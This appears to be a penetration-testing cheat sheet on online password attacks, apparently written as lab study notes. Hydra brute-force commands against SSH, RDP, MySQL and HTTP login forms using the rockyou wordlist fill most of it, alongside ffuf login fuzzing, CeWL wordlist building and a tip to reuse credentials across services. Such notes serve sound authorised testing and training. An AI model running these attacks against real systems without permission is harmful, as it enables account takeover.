🔓 Password Attacks

Cracking captured hashes: hash-cracking. AD spraying: tools.

Online brute-force — Hydra

# SSH (custom port with -s)
hydra -l george -P /usr/share/wordlists/rockyou.txt ssh://192.168.232.201 -s 2222
hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.189.35 -t 4 ssh
# RDP / MySQL
hydra -L names.txt -p "SuperS3cure1337#" rdp://192.168.232.202
hydra -l root -P rockyou.txt mysql://192.168.247.118:3306 -t 4
# HTTP POST form
hydra -l user -P rockyou.txt 192.168.50.201 http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"
hydra -s 8080 127.0.0.1 http-post-form '/login?from=%2F:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password' -l admin -P rockyou.txt -t 10 -w 30
# HTTP basic / GET
hydra -l admin -P rockyou.txt 192.168.232.201 http-get
hydra -L ../users.txt -P ../pass.txt -s 80 -f 192.168.216.220 http-get /

Hydra flags

-I ignore restore · -f stop on first hit · -L/-P lists · -V progress · -C combo file (user:pass) · C=/ auto cookie · F=403 failure status · ^USER64^/^PASS64^ base64 fields · hydra MODULE -U for help.

Web request fuzzing — FFUF

ffuf -w WORDLIST -X POST -d "user=^USER^" -H "Header" -u http://IP/FUZZ -mr "FALSE RESPONSE"
ffuf -w .../raft-small-directories.txt -X POST -d "" -u http://192.168.215.249:5985/FUZZ

Filters: -f/-fl (lines)/-fw (words). More ffuf in Web-enum.

Build a wordlist from a site — CeWL

cewl --lowercase http://192.168.189.61:8081/ | grep -v CeWL >> custom-wordlist.txt

Reuse usernames AND passwords across every service. Wordlist paths: 99-resources.